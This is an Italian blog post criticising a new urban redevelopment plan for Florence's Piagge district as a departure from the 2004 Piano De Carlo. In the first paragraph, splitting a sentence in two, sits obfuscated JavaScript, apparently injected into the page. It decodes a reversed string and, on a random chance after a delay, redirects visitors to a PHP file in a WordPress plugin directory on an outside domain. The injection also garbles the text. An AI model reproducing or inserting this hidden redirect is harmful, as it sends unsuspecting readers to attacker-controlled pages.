Piano De Carlo, prima e dopo

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Vi ricordate il Piano De Carlo? Era il 2004 qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il famoso architetto
venne incaricato dal Comune di fare un Piano Guida per la riqualificazione delle Piagge. Oggi siamo agli studi di fattibilità per quel piano, o per ciò che questo è diventato nel frattempo…
Quello che giorni fa è stato illustrato ai cittadini del quartiere è infatti
cosa un po’ diversa, che dell’originale mantiene solo alcuni tratti.
I quattro temi trainanti di questo nuovo piano sono: la musica, la ricettività,
il lido e la residenza innovativa (cioè ecologica).
I primi due temi, musica e ricettività, sono scaturiti dall’ipotesi della
permanenza a Firenze dell’Italia Love Festival (ex Arezzo Wave) che l’anno
scorso si svolse a Campi, ma adesso si è ‘trasferito’ a Livorno. Si tratta
quindi di punti non più di forza ma di debolezza, visto che è svanita la
loro ragion d’essere.
La parte del cosiddetto “Lido” (la riva dell’Arno) è un accumulo di interventi
cementificatori, con evidenti e altissimi costi di bonifica. Sulla
riva del fiume secondo il Comune nasceranno un disco-pub notturno, un
ristorante e altre attività economiche.
Tutti gli interventi progettati, pensati per attrarre gli investimenti dei
privati, con i quali pagare ad esempio le bonifiche necessarie, presuppongono la presenza di nuove costruzioni, e tradiscono a nostro parere lo
spirito del Piano De Carlo, che era centrato sulla riorganizzazione dello
spazio e la valorizzazione delle risorse locali.
Il nuovo piano invece si fonda sulla consueta colata di cemento, nel totale
disinteresse per le risorse già presenti nella zona, o per i bisogni dei
cittadini residenti: prevale ancora una volta l’idea di rendere le Piagge
polo di attrazione e consumo da parte del resto della città (come col Viper),
mentre chi vive qui da Peretola a Campi non trova un cinema né
una libreria!
Intanto sono già stati realizzati o sono in progetto interventi del tutto
incoerenti con le linee guida del Piano originale, ad esempio le residenze
al posto dell’ex oleificio, o il nuovo distributore della Shell in via Nave
di Brozzi, che diventerà un formidabile attrattore di traffico da via Pistoiese
fin dentro le Piagge, laddove De Carlo prevedeva solo strade di
collegamento interno…
Da segnalare che un gruppo di “reduci” del progetto LUDA si stanno ritrovando
per studiare il nuovo piano e il precedente studio di fattibilità,
per elaborare eventuali proposte migliorative.

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